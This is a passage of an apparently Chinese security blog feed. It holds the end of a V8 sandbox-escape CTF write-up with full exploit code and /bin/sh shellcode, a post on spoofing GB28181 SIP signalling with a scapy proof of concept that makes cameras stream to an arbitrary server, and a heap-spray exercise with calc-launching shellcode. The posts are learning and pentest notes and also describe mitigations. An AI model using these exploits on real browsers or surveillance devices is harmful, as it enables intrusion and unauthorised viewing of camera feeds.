class="params">addr,val</span>)</span>{</span><br><span class="line"> oob_arr[<span class="number">0x17</span>] = helper.itof(addr);</span><br><span class="line"> setGlobal(BigInt.asUintN(<span class="number">64</span>,BigInt(val)));</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">arbRead</span>(<span class="params">addr</span>)</span>{</span><br><span class="line"> oob_arr[<span class="number">0x17</span>] = helper.itof(addr);</span><br><span class="line"> <span class="keyword">return</span> BigInt.asUintN(<span class="number">64</span>, getGlobal());</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">addrOf</span>(<span class="params">obj</span>)</span>{</span><br><span class="line"> leaker[<span class="string">'x'</span>] = obj;</span><br><span class="line"> <span class="keyword">return</span> BigInt.asUintN(<span class="number">64</span>,js_base + BigInt(helper.ftoih(oob_arr[<span class="number">0x1b</span>])));</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">oob_arr.setLength(<span class="number">0x10000000</span>/<span class="number">8</span>);</span><br><span class="line">dp(oob_arr);</span><br><span class="line">dp(fake_imported_mutable_globals_arr);</span><br><span class="line">dp(leaker);</span><br><span class="line"><span class="comment">// %DebugPrint(i64arr);</span></span><br><span class="line"><span class="comment">// %SystemBreak();</span></span><br><span class="line"></span><br><span class="line">oob_arr[<span class="number">0x11</span>] = helper.isethtof(helper.ftoi(oob_arr[<span class="number">0x11</span>]),<span class="number">0x10000000</span>); <span class="comment">// length</span></span><br><span class="line">oob_arr[<span class="number">0x13</span>] = helper.itof(<span class="number">0</span>n); <span class="comment">// external_pointer</span></span><br><span class="line"><span class="comment">// %DebugPrint(i64arr);</span></span><br><span class="line"><span class="comment">// %SystemBreak();</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// leak js_base</span></span><br><span class="line"><span class="keyword">var</span> js_base = <span class="number">0</span>n;</span><br><span class="line"><span class="keyword">if</span>( (i64arr[<span class="number">3</span>] >> <span class="number">32</span>n ) == (i64arr[<span class="number">4</span>] >> <span class="number">32</span>n)) {</span><br><span class="line"> js_base = BigInt.asUintN(<span class="number">64</span>,i64arr[<span class="number">3</span>]) & <span class="number">0xffff00000000</span>n;</span><br><span class="line">}</span><br><span class="line">helper.printhex(<span class="string">'js_base @'</span>, js_base);</span><br><span class="line"></span><br><span class="line">fake_imported_mutable_globals_arr_addr = addrOf(fake_imported_mutable_globals_arr);</span><br><span class="line">fake_imported_mutable_globals_addr = fake_imported_mutable_globals_arr_addr - <span class="number">0x9</span>n;</span><br><span class="line"></span><br><span class="line"><span class="comment">// %SystemBreak();</span></span><br><span class="line"></span><br><span class="line">oob_arr_addr = addrOf(oob_arr);</span><br><span class="line">wasm_inst_addr = addrOf(wasm_instance);</span><br><span class="line"></span><br><span class="line">imported_mutable_globals_offset = (wasm_inst_addr - js_base + <span class="number">0x50</span>n <span class="number">-1</span>n ) / <span class="number">8</span>n;</span><br><span class="line"></span><br><span class="line">dp(wasm_instance);</span><br><span class="line"><span class="comment">// %SystemBreak();</span></span><br><span class="line"></span><br><span class="line">helper.printhex(<span class="string">'fake_obj_addr @'</span>, fake_imported_mutable_globals_addr);</span><br><span class="line">helper.printhex(<span class="string">'oob_arr_addr @'</span>, oob_arr_addr);</span><br><span class="line">helper.printhex(<span class="string">'wasm_instance_addr @'</span>, wasm_inst_addr);</span><br><span class="line">helper.printhex(<span class="string">'wasm_instance.imported_mutable_globals_offset '</span>, imported_mutable_globals_offset);</span><br><span class="line"></span><br><span class="line"><span class="comment">// i64arr[imported_mutable_globals_offset] = helper.isethtoi(i64arr[imported_mutable_globals_offset] , Number(fake_imported_mutable_globals_addr & 0xffffffffn));</span></span><br><span class="line"><span class="comment">// i64arr[imported_mutable_globals_offset + 1n] = helper.isetltoi(i64arr[imported_mutable_globals_offset + 1n], Number(fake_imported_mutable_globals_addr >> 32n));</span></span><br><span class="line">helper.printhex(<span class="string">'i64arr[globals_offset] @'</span>, i64arr[imported_mutable_globals_offset]);</span><br><span class="line">i64arr[imported_mutable_globals_offset] = fake_imported_mutable_globals_addr;</span><br><span class="line"></span><br><span class="line">dp(wasm_instance);</span><br><span class="line"><span class="comment">// %SystemBreak();</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> wasm_code2= <span class="keyword">new</span> <span class="built_in">Uint8Array</span>([</span><br><span class="line"><span class="number">0</span>, <span class="number">97</span>, <span class="number">115</span>, <span class="number">109</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">133</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">96</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">127</span>,</span><br><span class="line"><span class="number">3</span>, <span class="number">130</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">4</span>, <span class="number">132</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">112</span>, <span class="number">0</span>, <span class="number">0</span>,</span><br><span class="line"><span class="number">5</span>, <span class="number">131</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">6</span>, <span class="number">129</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">7</span>, <span class="number">145</span>,</span><br><span class="line"><span class="number">128</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">6</span>, <span class="number">109</span>, <span class="number">101</span>, <span class="number">109</span>, <span class="number">111</span>, <span class="number">114</span>, <span class="number">121</span>, <span class="number">2</span>, <span class="number">0</span>, <span class="number">4</span>, <span class="number">109</span>, <span class="number">97</span>,</span><br><span class="line"><span class="number">105</span>, <span class="number">110</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">10</span>, <span class="number">138</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">132</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">0</span>, <span class="number">0</span>,</span><br><span class="line"><span class="number">65</span>, <span class="number">42</span>, <span class="number">11</span>,</span><br><span class="line">]);</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> wasm_mod2 = <span class="keyword">new</span> WebAssembly.Module(wasm_code2);</span><br><span class="line"><span class="keyword">var</span> wasm_instance2 = <span class="keyword">new</span> WebAssembly.Instance(wasm_mod2);</span><br><span class="line"><span class="keyword">var</span> f = wasm_instance2.exports.main;</span><br><span class="line"></span><br><span class="line">wasm_instance2_addr = addrOf(wasm_instance2);</span><br><span class="line"></span><br><span class="line">wasm_instance2_rwx_page_addr = wasm_instance2_addr + <span class="number">0x60</span>n - <span class="number">1</span>n;</span><br><span class="line">helper.printhex(<span class="string">'rwx page addr @'</span>, wasm_instance2_rwx_page_addr);</span><br><span class="line"><span class="comment">// %SystemBreak();</span></span><br><span class="line">wasm_instance2_rwx_page = arbRead(wasm_instance2_rwx_page_addr);</span><br><span class="line">helper.printhex(<span class="string">'rwx page @'</span>, wasm_instance2_rwx_page);</span><br><span class="line"></span><br><span class="line">shellcode = [<span class="number">0x99583b6a</span>, <span class="number">0x622fbb48</span>, <span class="number">0x732f6e69</span>, <span class="number">0x48530068</span>, <span class="number">0x2d68e789</span>, <span class="number">0x48000063</span>, <span class="number">0xe852e689</span>, <span class="number">0x00000008</span>,</span><br><span class="line"><span class="number">0x6e69622f</span>, <span class="number">0x0068732f</span>, <span class="number">0x89485756</span>, <span class="number">0x00050fe6</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">let</span> i=<span class="number">0</span>; i<shellcode.length; i=i+<span class="number">2</span>){</span><br><span class="line"> arbWrite(wasm_instance2_rwx_page +(BigInt(i) * <span class="number">4</span>n),helper.isetlhtoi(shellcode[i],shellcode[i+<span class="number">1</span>]));</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// dp(wasm_instance2);</span></span><br><span class="line"><span class="comment">// %SystemBreak();</span></span><br><span class="line"></span><br><span class="line">f();</span><br></pre></td></tr></table></figure><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%2014.png" alt="Untitled"></p><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><ul><li><a href="https://mem2019.github.io/jekyll/update/2022/02/06/DiceCTF-Memory-Hole.html" target="_blank" rel="noopener">https://mem2019.github.io/jekyll/update/2022/02/06/DiceCTF-Memory-Hole.html</a></li><li><a href="https://blog.kylebot.net/2022/02/06/DiceCTF-2022-memory-hole/" target="_blank" rel="noopener">https://blog.kylebot.net/2022/02/06/DiceCTF-2022-memory-hole/</a></li><li><a href="https://docs.google.com/document/d/1FM4fQmIhEqPG8uGp5o9A-mnPB5BOeScZYpkHjo0KKA8/edit#" target="_blank" rel="noopener">https://docs.google.com/document/d/1FM4fQmIhEqPG8uGp5o9A-mnPB5BOeScZYpkHjo0KKA8/edit#</a></li><li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Global/Global" target="_blank" rel="noopener">https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Global/Global</a></li><li><a href="https://developer.mozilla.org/zh-CN/docs/WebAssembly/Understanding_the_text_format" target="_blank" rel="noopener">https://developer.mozilla.org/zh-CN/docs/WebAssembly/Understanding_the_text_format</a></li><li><a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/global.wat" target="_blank" rel="noopener">https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/global.wat</a></li></ul>]]></content>
<tags>
<tag> Pwn </tag>
<tag> 二进制 </tag>
<tag> CTF </tag>
<tag> 浏览器 </tag>
</tags>
</entry>
<entry>
<title>GB28181 的一点小问题</title>
<link href="/2021/10/05/pentest-gb28181-attack/"/>
<url>/2021/10/05/pentest-gb28181-attack/</url>
<content type="html"><![CDATA[<h1 id="GB28181"><a href="#GB28181" class="headerlink" title="GB28181"></a>GB28181</h1><p>GB28181 是视频监控领域的国家标准,规定了公共安全视频监控联网系统的互联结构, 传输、交换、控制的基本要求和安全性要求, 以及控制、传输流程和协议接口等技术要求。</p><p>目前大多数厂商的摄像头都支持这个协议,用户可以自己实现媒体服务器,使用这个协议从摄像头上拉流观看。</p><h1 id="客户端拉流过程"><a href="#客户端拉流过程" class="headerlink" title="客户端拉流过程"></a>客户端拉流过程</h1><p>见图</p><p><img src="/2021/10/05/pentest-gb28181-attack/1.png" alt="1"></p><p>GB28181 协议会话通道用的是 SIP 协议,往下看需要一些 SIP 协议相关的知识。</p><p>带入到实际场景中,各个实体的身份 ⬇️:</p><ul><li>媒体流接收者:观众,客户端</li><li>SIP 服务器:信令服务器,和摄像头 NVR 设备交互,摄像头 NVR 在使用前需要发送 <code>REGISTER</code> 包注册到 SIP 服务器</li><li>媒体服务器:接收推流的服务器,转发媒体流给观众</li><li>媒体流发送者:摄像头 NVR</li></ul><p>过程:</p><blockquote><p>1、媒体流接收者向 SIP 服务器发送 Invite 消息,消息头域中携带 Subject 字段,表明点播的视频 源 ID、分辨率、媒体流接收者 ID、接收端媒体流序列号标识等参数,SDP 消息体中 s 字段为“Play” 代表实时点播;</p><p>2、SIP 服务器收到 Invite 请求后,通过三方呼叫控制建立媒体服务器和媒体流发送者之间的媒体连接。向媒体服务器发送 Invite 消息,此消息不携带 SDP 消息体;</p><p>3、媒体服务器收到 SIP 服务器的 Invite 请求后,回复 200OK 响应,携带 SDP 消息体,消息体中 描述了媒体服务器接收媒体流的 IP、端口、媒体格式等内容;</p><p>4、SIP 服务器收到媒体服务器返回的 200OK 响应后,向媒体流发送者发送 Invite 请求,请求中携 带消息 3 中媒体服务器回复的 200OK 响应消息体,并且修改 s 字段为“Play”代表实时点播,增 加 y 字段描述 SSRC 值,f 字段描述媒体参数;</p><p>5、媒体流发送者收到 SIP 服务器的 Invite 请求后,回复 200OK 响应,携带 SDP 消息体,消息体 中描述了媒体流发送者发送媒体流的 IP、端口、媒体格式、SSRC 字段等内容;</p><p>6、SIP 服务器收到媒体流发送者返回的 200OK 响应后,向媒体服务器发送 ACK 请求,请求中携 带消息 5 中媒体流发送者回复的 200OK 响应消息体,完成与媒体服务器的 Invite 会话建立过程;</p><p>7、SIP 服务器收到媒体流发送者返回的 200OK 响应后,向媒体流发送者发送 ACK 请求,请求中 不携带消息体,完成与媒体流发送者的 Invite 会话建立过程;</p><p>之后媒体流发送者推流到媒体服务器,媒体服务器在转发给接收者。</p></blockquote><h1 id="风险点"><a href="#风险点" class="headerlink" title="风险点"></a>风险点</h1><p>看上面的活动图,媒体流发送者在收到 SIP 服务器的 <code>INVITE + ACK</code> 包之后就开始推流,<br><code>BYE</code> 包用于终止推流,其它实体和它并没有交互。</p><p><strong>一般情况下,NVR 支持的 SIP 是基于 UDP 的,而 UDP 报文的源 IP 是可以伪造。假如流媒体发送者(即NVR)没有对接受的信令校验认证,攻击者只要知道 SIP 服务器的 IP 地址,就可以伪造 SIP 服务器的身份,向 NVR 发起推流请求 (<code>INVITE + ACK</code> 包),推流到任意的流媒体服务器。</strong></p><p>如下</p><p><img src="/2021/10/05/pentest-gb28181-attack/2.png" alt="2"></p><blockquote><p>最终效果是绕过 SIP 服务器,直接看摄像头了。</p></blockquote><p>用 <code>scapy</code> 写 POC 很容易</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> scapy.all <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">INVITE_PKG =<span class="string">'''INVITE sip:66612310001@192.168.1.2 SIP/2.0</span></span><br><span class="line"><span class="string">Call-ID: 0a097798b89c7897982198abcde8291@192.168.1.1</span></span><br><span class="line"><span class="string">CSeq: 2 INVITE</span></span><br><span class="line"><span class="string">From: <sip:77779200001@6661200000>;tag=fromTag</span></span><br><span class="line"><span class="string">To: <sip:66612310001@6661200000></span></span><br><span class="line"><span class="string">Via: SIP/2.0/UDP 192.168.1.2</span></span><br><span class="line"><span class="string">Max-Forwards: 70</span></span><br><span class="line"><span class="string">Contact: <sip:77779200001@192.168.1.1:5060></span></span><br><span class="line"><span class="string">Content-Type: Application/SDP</span></span><br><span class="line"><span class="string">Content-Length: 248</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">v=0</span></span><br><span class="line"><span class="string">o=77779200001 0 0 IN IP4 192.168.1.1</span></span><br><span class="line"><span class="string">s=Play</span></span><br><span class="line"><span class="string">u=66612310001:0</span></span><br><span class="line"><span class="string">c=IN IP4 188.8.8.8</span></span><br><span class="line"><span class="string">t=0 0</span></span><br><span class="line"><span class="string">m=video 2021 RTP/AVP 96 98 97</span></span><br><span class="line"><span class="string">a=recvonly</span></span><br><span class="line"><span class="string">a=rtpmap:96 PS/90000</span></span><br><span class="line"><span class="string">a=rtpmap:98 H264/90000</span></span><br><span class="line"><span class="string">a=rtpmap:97 MPEG4/90000</span></span><br><span class="line"><span class="string">y=0200000849</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">'''</span>.replace(<span class="string">'\n'</span>,<span class="string">'\r\n'</span>)</span><br><span class="line"></span><br><span class="line">sendp(Ether()/IP(dst=<span class="string">'192.168.1.2'</span>,src=<span class="string">'192.168.1.1'</span>)/UDP(dport=<span class="number">5060</span>)/INVITE_PKG)</span><br><span class="line"></span><br><span class="line">ACK_PKG = <span class="string">'''ACK sip:66612310001@192.168.1.2 SIP/2.0</span></span><br><span class="line"><span class="string">Call-ID: 0a097798b89c7897982198abcde8291@192.168.1.1</span></span><br><span class="line"><span class="string">CSeq: 2 ACK</span></span><br><span class="line"><span class="string">From: <sip:77779200001@6661200000>;tag=fromTag</span></span><br><span class="line"><span class="string">To: <sip:66612310001@6661200000></span></span><br><span class="line"><span class="string">Via: SIP/2.0/UDP 192.168.1.2</span></span><br><span class="line"><span class="string">Max-Forwards: 70</span></span><br><span class="line"><span class="string">Contact: <sip:77779200001@192.168.1.1:5060></span></span><br><span class="line"><span class="string">Content-Type: Application/SDP</span></span><br><span class="line"><span class="string">Content-Length: 0</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">'''</span>.replace(<span class="string">'\n'</span>,<span class="string">'\r\n'</span>)</span><br><span class="line"></span><br><span class="line">sendp(Ether()/IP(dst=<span class="string">'192.168.1.2'</span>,src=<span class="string">'192.168.1.1'</span>)/UDP(dport=<span class="number">5060</span>)/ACK_PKG)</span><br></pre></td></tr></table></figure><p>目前国内要求运营商在接入网上进行源地址验证,所以公网上这种攻击可能不是那么容易成功,但总有些路由器设备配置会存在缺陷,还是可以伪造的,看运气了。</p><h1 id="End"><a href="#End" class="headerlink" title="End"></a>End</h1><p>GB28181 中有提到关于 “SIP 信令认证”,在 SIP 服务器和媒体流发送者之间加入一个加密模块,每个 SIP 信令中加入额外的校验字段。在每一端接收到 SIP 信令后都要去和这个加密模块校验,校验通过的信令才会被处理。</p><p><img src="/2021/10/05/pentest-gb28181-attack/3.png" alt="3"></p><blockquote><p>前端设备: 联网系统中安装于监控现场的信息采集、编码/处理、存储、传输、安全控制等设备。 这里指 NVR。</p></blockquote><p>这只是一个补充的部分,还没有看到有哪家监控厂商实现,因为需要有配套的 SIP 服务器,大客户才能定制吧。</p><p>如果对安全性要求比较高,可以考虑让 NVR 走安全隧道。</p>]]></content>
<tags>
<tag> Pentest </tag>
</tags>
</entry>
<entry>
<title>【RealPwn-2】 堆喷练习</title>
<link href="/2021/07/07/realpwn-heap-spary-exercise/"/>
<url>/2021/07/07/realpwn-heap-spary-exercise/</url>
<content type="html"><![CDATA[<blockquote><p>[RealPwn] 系列是我学习 pwn 的笔记,只记录真实场景中常用到的漏洞利用技术。</p></blockquote><h1 id="堆喷"><a href="#堆喷" class="headerlink" title="堆喷"></a>堆喷</h1><p>堆喷的利用,简单概括就是,申请大量内存,申请到 <code>0x0C0C0C0C</code> ,写入 slides + shellcode ,再控制 EIP 指向 <code>0x0C0C0C0C</code> 即可。</p><blockquote><p>理论上这里的 <code>0x0C0C0C0C</code> 可以替换为别的,比如 <code>0x90</code>、<code>0x0D</code> 等不影响shellcode 执行的指令。</p></blockquote><p>实际场景,常见的思路是覆盖对象的虚函数表指针 vptr,在 <code>0x0C0C0C0C</code> 伪造一个虚函数表,填满 <code>0x0C0C0C0C</code> + shellcode ,当调用对象的虚函数时,会取到 <code>0x0C0C0C0C</code> 作为函数的地址,跳回到 <code>0x0C0C0C0C</code> 的起始,把后面的数据当作指令执行, </p><p><img src="/2021/07/07/realpwn-heap-spary-exercise/v.png" alt="v"></p><blockquote><p>为什么不用 <code>0x90909090</code> (nop;nop;nop;nop;) ? 是因为 <code>0x90909090 > 0x7fffffff</code> 处在内核空间,程序跳到那会 crash。</p></blockquote><h1 id="调试"><a href="#调试" class="headerlink" title="调试"></a>调试</h1><p>开始调吧,还是 VS2019 + x32dbg 。</p><p>代码:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><iostream></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><Windows.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> ALLOC_SIZE 0x100000</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> <span class="built_in">std</span>;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">A</span> {</span></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"><span class="function"><span class="keyword">virtual</span> <span class="keyword">int</span> <span class="title">pwn</span><span class="params">()</span> </span>{</span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">}</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="comment">// 弹计算器</span></span><br><span class="line"><span class="keyword">char</span> shellcode[] = <span class="string">"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"</span></span><br><span class="line"><span class="string">"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"</span></span><br><span class="line"><span class="string">"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"</span></span><br><span class="line"><span class="string">"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"</span></span><br><span class="line"><span class="string">"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"</span></span><br><span class="line"><span class="string">"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"</span></span><br><span class="line"><span class="string">"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"</span></span><br><span class="line"><span class="string">"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"</span></span><br><span class="line"><span class="string">"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"</span></span><br><span class="line"><span class="string">"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"</span></span><br><span class="line"><span class="string">"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"</span></span><br><span class="line"><span class="string">"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"</span></span><br><span class="line"><span class="string">"\x00\x53\xff\xd5\x63\x61\x6c\x63\x00"</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"><span class="keyword">char</span> msg[<span class="number">128</span>];</span><br><span class="line"></span><br><span class="line">A* a = <span class="keyword">new</span> A;</span><br><span class="line"><span class="keyword">long</span>* a_addr = (<span class="keyword">long</span>*) a;</span><br><span class="line"><span class="keyword">long</span>* vptr = (<span class="keyword">long</span>*) ( *a_addr);</span><br><span class="line"></span><br><span class="line">a_addr[<span class="number">0</span>] = <span class="number">0x0C0C0C0C</span>; <span class="comment">// 修改 vptr</span></span><br><span class="line"></span><br><span class="line">sprintf_s(msg, <span class="string">"object a address: 0x%p"</span>, a_addr);</span><br><span class="line"><span class="built_in">cout</span> << msg << <span class="built_in">endl</span>;</span><br><span class="line">sprintf_s(msg, <span class="string">"vtable address: 0x%p"</span>, vptr[<span class="number">0</span>]);</span><br><span class="line"><span class="built_in">cout</span> << msg << <span class="built_in">endl</span>;</span><br><span class="line"></span><br><span class="line">system(<span class="string">"pause"</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">int</span> i = <span class="number">0</span>; i < <span class="number">0x100</span> ; i++) { <span class="comment">// 模拟堆喷,申请大量内存,256 个 chunk</span></span><br><span class="line"><span class="keyword">long</span>* buf = (<span class="keyword">long</span>*) <span class="built_in">malloc</span>(ALLOC_SIZE); <span class="comment">// 1MB</span></span><br><span class="line"></span><br><span class="line">sprintf_s(msg, <span class="string">"chunk[%d] addr: 0x%p"</span>, i, buf);</span><br><span class="line"><span class="built_in">cout</span> << msg << <span class="built_in">endl</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>((<span class="keyword">long</span>) buf == <span class="number">0</span>) <span class="keyword">break</span>; <span class="comment">// 内存不足 malloc 失败</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">memset</span>(buf, <span class="number">0x0c</span>, ALLOC_SIZE - <span class="keyword">sizeof</span>(shellcode)); <span class="comment">// 填充 slides</span></span><br><span class="line"><span class="keyword">if</span>((<span class="keyword">long</span>) buf + ALLOC_SIZE > <span class="number">0x0c0c0c0c</span> && (<span class="keyword">long</span>) buf < <span class="number">0x0c0c0c0c</span>){ <span class="comment">// 此处判断可以省略</span></span><br><span class="line"><span class="built_in">memset</span>(buf, <span class="number">0x0c</span>, ALLOC_SIZE - <span class="keyword">sizeof</span>(shellcode)); <span class="comment">// 填充 slides</span></span><br><span class="line"><span class="built_in">memcpy</span>(buf + (ALLOC_SIZE - <span class="keyword">sizeof</span>(shellcode))/<span class="number">4</span>, shellcode, <span class="keyword">sizeof</span>(shellcode)); <span class="comment">// 写 shellcode</span></span><br><span class="line">system(<span class="string">"pause"</span>);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">system(<span class="string">"pause"</span>);</span><br><span class="line"></span><br><span class="line">a->pwn(); <span class="comment">// 调用虚函数</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>运行程序</p><p><img src="/2021/07/07/realpwn-heap-spary-exercise/1.png" alt="1"></p><p>代码里直接把 vptr 已经修改成 <code>0x0C0C0C0C</code> ,模拟虚函数表劫持。</p><p><code>bp 0x0c0c0c0c</code> 打上断点,继续。</p><p><img src="/2021/07/07/realpwn-heap-spary-exercise/2.png" alt="2"></p><p><img src="/2021/07/07/realpwn-heap-spary-exercise/3.png" alt="3"></p><p>这里模拟了堆喷的过程,申请到的 <code>0x0C0C0C0C</code> 在 <code>chunk\[158\]</code> 里。</p><blockquote><p>可以看到在向堆申请空间时,地址是从小到大的,有一定随机性,且有概率申请不到 <code>0x0C0C0C0C</code> ,这可能也是二进制漏洞利用不如web漏洞利用稳定的原因之一。</p></blockquote><p><img src="/2021/07/07/realpwn-heap-spary-exercise/4.png" alt="4"></p><p><img src="/2021/07/07/realpwn-heap-spary-exercise/5.png" alt="5"></p><p>现在已经 slides 和 shellcode 都写上去了。</p><p>继续,就到调用虚函数了,顺利的话就会弹出计算器。</p><blockquote><p>注意,<code>malloc</code> 的内存默认只有 RW 权限,同 <a href="https://jayl1n.github.io/2021/07/04/realpwn-vtable-hijacking-exercise/">【RealPwn-1】 虚函数表劫持练习</a> 一样,需要暂时关闭 DEP 才能执行 shellcode,实际场景中需要构造 ROP 链。</p></blockquote><p><img src="/2021/07/07/realpwn-heap-spary-exercise/heap-spary.gif" alt="6"></p><h1 id="References"><a href="#References" class="headerlink" title="References"></a>References</h1><ul><li><a href="https://v1ckydxp.github.io/2019/07/22/2019-07-22-%E5%A0%86%E5%96%B7%E5%B0%84&%E5%A0%86%E9%A3%8E%E6%B0%B4/" target="_blank" rel="noopener">Heap Spray(堆喷射)简介</a></li></ul>]]></content>
<tags>
<tag> Pwn </tag>
<tag> 二进制 </tag>
</tags>
</entry>
<entry>
<title>【RealPwn-1】 虚函数表劫持练习</title>
<link href="/2021/07/04/realpwn-vtable-hijacking-exercise/"/>
<url>/2021/07/04/realpwn-vtable-hijacking-exercise/</url>
